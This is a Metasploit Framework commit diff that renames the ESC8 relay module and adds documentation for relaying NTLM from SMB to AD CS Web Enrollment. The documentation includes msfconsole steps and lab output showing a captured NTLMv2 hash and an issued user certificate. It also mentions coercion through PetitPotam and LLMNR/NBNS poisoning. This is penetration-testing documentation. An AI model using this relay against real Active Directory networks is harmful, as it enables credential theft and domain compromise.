Skip to content

Commit 1ea5537

Browse files
committed
Move the ESC8 module and document the attack
1 parent ecec6dc commit 1ea5537

File tree

5 files changed

+133
-9
lines changed

5 files changed

+133
-9
lines changed

data/capture_config.yaml

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
# configuration file for the capture plugin
12
spoof_regex: .*
23
ntlm_challenge: "1122334455667788"
34
ntlm_domain: anonymous
@@ -6,6 +7,7 @@ ssl_cert: null
67
logfile: null
78
hashdir: null
89
services:
10+
# authentication services
911
- type: DRDA
1012
enabled: yes
1113
- type: FTP
@@ -46,6 +48,7 @@ services:
4648
enabled: yes
4749
- type: SMTPS
4850
enabled: yes
51+
# spoofing / poisoning services
4952
- type: NBNS
5053
enabled: yes
5154
- type: LLMNR

docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md

Lines changed: 61 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,10 @@ flowchart TD
1010
update_template[<i>Update Template</i>]
1111
ESC4 -- abuse privileges --> update_template
1212
end
13+
subgraph relay/esc8[<b>relay/esc8</b>]
14+
ESC8(ESC8)
15+
ESC8 --> web_enrollment[<i>Issuance via Web Enrollment</i>]
16+
end
1317
subgraph icpr_cert[<b>icpr_cert</b>]
1418
ESC1(ESC1)
1519
ESC2(ESC2)
@@ -45,11 +49,12 @@ flowchart TD
4549
normal --> PKINIT
4650
normal --> SCHANNEL
4751
update_template --> ESC1
52+
web_enrollment --> PKINIT
53+
web_enrollment --> SCHANNEL
4854
```
4955

50-
The chart above showcases how one can go about attacking five unique AD CS
51-
vulnerabilities, taking advantage of various flaws in how certificate templates are
52-
configured on an Active Directory Certificate Server.
56+
The chart above showcases how one can go about attacking each of the AD CS vulnerabilities supported by Metasploit,
57+
taking advantage of various flaws in how certificate templates are configured on an Active Directory Certificate Server.
5358

5459
The following sections will walk through each of these steps, starting with enumerating
5560
certificate templates that the server has to offer and identifying those that are
@@ -81,6 +86,7 @@ attacks that they found they could conduct via misconfigured certificate templat
8186
Manager Approval + Enrollable Client Authentication/Smart Card Logon OID templates
8287
- ESC7 - Vulnerable Certificate Authority Access Control
8388
- ESC8 - NTLM Relay to AD CS HTTP Endpoints
89+
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc8]]
8490

8591
Later, additional techniques were disclosed by security researchers:
8692

@@ -110,8 +116,8 @@ Later, additional techniques were disclosed by security researchers:
110116
- [EKUwu: Not just another AD CS ESC](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc)
111117
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc15]]
112118

113-
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC13 and ESC15. As such,
114-
this page only covers exploiting ESC1 through ESC4, ESC13 and ESC15 at this time.
119+
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC8, ESC13 and ESC15. As such, this page only
120+
covers exploiting that subset of ESC flaws.
115121

116122
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
117123
as the diagram notes above. This is because in ESC1, one has control over the
@@ -866,14 +872,63 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
866872
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
867873
used to authenticate to Active Directory as the Domain Admin.
868874

875+
# Exploiting ESC8
876+
ESC8 leverages relaying NTLM authentication from an SMB server (running on Metasploit) to the HTTP(S) AD CS Web
877+
Enrollment portal running on a remote target. The attacker will need to coerce a client with privileges to authenticate
878+
to the target portal to authenticate to Metasploit instead. This can be achieved via a few techniques, including name
879+
poisoning via the `capture` plugin, coercion via the `auxiliary/scanner/dcerpc/petitpotam` module, or even a well placed
880+
UNC path. Once authentication has been relayed and an authorized HTTP session has been established, the attacker can
881+
query available certificate templates as well as issue them.
882+
883+
Exploitation of this flaw is facilitated through the `auxiliary/server/relay/esc8` module which handles starting the SMB
884+
relay server and enables configuration of what happens when relaying is successful. Users can select from different
885+
operational "modes" via the MODE datastore option which controls what the module will do. For a full description, see
886+
the modules documentation. The default mode, "AUTO" will issue a User certificate if the relayed connection is for a
887+
user account or a Machine certificate if it's for a machine account. Once this certificate has been issued, it can be
888+
used for authentication. See the [Authenticating With A Certificate](#authenticating-with-a-certificate) section for
889+
more information.
890+
891+
In the following example the AUTO mode is used to issue a certificate for the MSFLAB\smcintyre once they have
892+
authenticated.
893+
894+
```msf
895+
msf6 auxiliary(server/relay/esc8) > set RELAY_TARGETS 172.30.239.85
896+
msf6 auxiliary(server/relay/esc8) > run
897+
[*] Auxiliary module running as background job 1.
898+
msf6 auxiliary(server/relay/esc8) >
899+
[*] SMB Server is running. Listening on 0.0.0.0:445
900+
[*] Server started.
901+
[*] New request from 192.168.159.129
902+
[*] Received request for MSFLAB\smcintyre
903+
[*] Relaying to next target http://172.30.239.85:80/certsrv/
904+
[+] Identity: MSFLAB\smcintyre - Successfully authenticated against relay target http://172.30.239.85:80/certsrv/
905+
[SMB] NTLMv2-SSP Client : 172.30.239.85
906+
[SMB] NTLMv2-SSP Username : MSFLAB\smcintyre
907+
[SMB] NTLMv2-SSP Hash : smcintyre::MSFLAB:821ad4c6b40475f4:07a6e0fd89d9af86a5b0e12d24915b4d:010100000000000071fe99aa0a27db01eabcbc6e8fcb6ed20000000002000c004d00530046004c00410042000100040044004300040018006d00730066006c00610062002e006c006f00630061006c0003001e00440043002e006d00730066006c00610062002e006c006f00630061006c00050018006d00730066006c00610062002e006c006f00630061006c000700080071fe99aa0a27db01060004000200000008003000300000000000000001000000002000004206ecc9e398d7766166f0f45d8bdcf7708c8f278f2cff1cc58017f9acf0f5400a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100350039002e003100320038000000000000000000
908+
909+
[*] Creating certificate request for MSFLAB\smcintyre using the User template
910+
[*] Generating CSR...
911+
[*] CSR Generated
912+
[*] Requesting relay target generate certificate...
913+
[+] Certificate generated using template User and MSFLAB\smcintyre
914+
[*] Attempting to download the certificate from /certsrv/certnew.cer?ReqID=184&
915+
[+] Certificate for MSFLAB\smcintyre using template User saved to /home/smcintyre/.msf4/loot/20241025142116_default_172.30.239.85_windows.ad.cs_995918.pfx
916+
[*] Relay tasks complete; waiting for next login attempt.
917+
[*] Received request for MSFLAB\smcintyre
918+
[*] Identity: MSFLAB\smcintyre - All targets relayed to
919+
[*] New request from 192.168.159.129
920+
[*] Received request for MSFLAB\smcintyre
921+
[*] Identity: MSFLAB\smcintyre - All targets relayed to
922+
```
923+
869924
# Exploiting ESC13
870925
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
871926
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
872927
administrative privileges, rather the privileges that are gained are those of the group which is linked to by OID in the
873928
certificate template's issuance policy. The `auxiliary/gather/ldap_esc_vulnerable_cert_finder` module is capable of
874929
identifying certificates that meet the necessary criteria. When one is found, the module will include the group whose
875930
permissions will be included in the resulting Kerberos ticket in the notes section. In the following example, the
876-
ESC13-Test template is vulenerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
931+
ESC13-Test template is vulnerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
877932

878933
```
879934
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run

documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,9 @@ along with info about which vulnerable certificate templates the certificate ser
99
allows enrollment in and which SIDs are authorized to use that certificate server to
1010
perform this enrollment operation.
1111

12-
Currently the module is capable of checking for ESC1, ESC2, and ESC3 vulnerable certificates.
12+
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, ESC13,
13+
and ESC15. The module is limited to checking for these techniques due to them being identifiable remotely from
14+
a normal user account by analyzing the objects in LDAP.
1315

1416
### Installing AD CS
1517
1. Install AD CS on either a new or existing domain controller
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
## Vulnerable Application
2+
This module creates an SMB server and then relays the credentials passed to it
3+
to an HTTP server to gain an authenticated connection. Once that connection is
4+
established, the module makes an authenticated request for a certificate based
5+
on a given template.
6+
7+
## Verification Steps
8+
9+
1. Install and configure the application
10+
* See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/overview.html#setting-up-a-esc8-vulnerable-host
11+
2. Start `msfconsole`
12+
2. Do: `use auxiliary/server/relay/esc8`
13+
3. Set the `RANDOMIZE_TARGETS` option to the AD CS Web Enrollment server
14+
4. Run the module and wait for a request to be relayed
15+
16+
## Options
17+
18+
### MODE
19+
The issue mode. This controls what the module will do once an authenticated session is established to the Web Enrollment
20+
server. Must be one of the following options:
21+
22+
* ALL: Enumerate all available certificate templates and then issue each of them
23+
* AUTO: Automatically select either the `User` or `Machine` template to issue based on if the authenticated user is a
24+
user or machine account. The determination is based on checking for a `$` at the end of the name, which means that it
25+
is a machine account.
26+
* QUERY_ONLY: Enumerate all available certificate templates but do not issue any
27+
* SPECIFIC_TEMPLATE: Issue the certificate template specified in the `CERT_TEMPLATE` option
28+
29+
### CERT_TEMPLATE
30+
The template to issue if MODE is SPECIFIC_TEMPLATE.
31+
32+
## Scenarios
33+
34+
### Version and OS
35+
36+
```
37+
msf6 auxiliary(server/relay/esc8) > run
38+
[*] Auxiliary module running as background job 1.
39+
msf6 auxiliary(server/relay/esc8) >
40+
[*] SMB Server is running. Listening on 0.0.0.0:445
41+
[*] Server started.
42+
[*] New request from 192.168.159.129
43+
[*] Received request for MSFLAB\smcintyre
44+
[*] Relaying to next target http://192.168.159.10:80/certsrv/
45+
[+] Identity: MSFLAB\smcintyre - Successfully authenticated against relay target http://192.168.159.10:80/certsrv/
46+
[SMB] NTLMv2-SSP Client : 192.168.159.10
47+
[SMB] NTLMv2-SSP Username : MSFLAB\smcintyre
48+
[SMB] NTLMv2-SSP Hash : smcintyre::MSFLAB:821ad4c6b40475f4:07a6e0fd89d9af86a5b0e12d24915b4d:010100000000000071fe99aa0a27db01eabcbc6e8fcb6ed20000000002000c004d00530046004c00410042000100040044004300040018006d00730066006c00610062002e006c006f00630061006c0003001e00440043002e006d00730066006c00610062002e006c006f00630061006c00050018006d00730066006c00610062002e006c006f00630061006c000700080071fe99aa0a27db01060004000200000008003000300000000000000001000000002000004206ecc9e398d7766166f0f45d8bdcf7708c8f278f2cff1cc58017f9acf0f5400a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100350039002e003100320038000000000000000000
49+
50+
[*] Creating certificate request for MSFLAB\smcintyre using the User template
51+
[*] Generating CSR...
52+
[*] CSR Generated
53+
[*] Requesting relay target generate certificate...
54+
[+] Certificate generated using template User and MSFLAB\smcintyre
55+
[*] Attempting to download the certificate from /certsrv/certnew.cer?ReqID=184&
56+
[+] Certificate for MSFLAB\smcintyre using template User saved to /home/smcintyre/.msf4/loot/20241025142116_default_192.168.159.10_windows.ad.cs_995918.pfx
57+
[*] Relay tasks complete; waiting for next login attempt.
58+
[*] Received request for MSFLAB\smcintyre
59+
[*] Identity: MSFLAB\smcintyre - All targets relayed to
60+
[*] New request from 192.168.159.129
61+
[*] Received request for MSFLAB\smcintyre
62+
[*] Identity: MSFLAB\smcintyre - All targets relayed to
63+
```

modules/auxiliary/server/capture/esc8_relay.rb renamed to modules/auxiliary/server/relay/esc8.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ class MetasploitModule < Msf::Auxiliary
99

1010
def initialize
1111
super({
12-
'Name' => 'ESC8 Relay: SMB',
12+
'Name' => 'ESC8 Relay: SMB to HTTP(S)',
1313
'Description' => %q{
1414
This module creates an SMB server and then relays the credentials passed to it
1515
to an HTTP server to gain an authenticated connection. Once that connection is
@@ -18,7 +18,8 @@ def initialize
1818
},
1919
'Author' => [
2020
'bwatters-r7',
21-
'jhicks-r7' # query for available certs
21+
'jhicks-r7', # query for available certs
22+
'Spencer McIntyre'
2223
],
2324
'License' => MSF_LICENSE,
2425
'Actions' => [[ 'Relay', { 'Description' => 'Run SMB ESC8 relay server' } ]],

0 commit comments

Comments
 (0)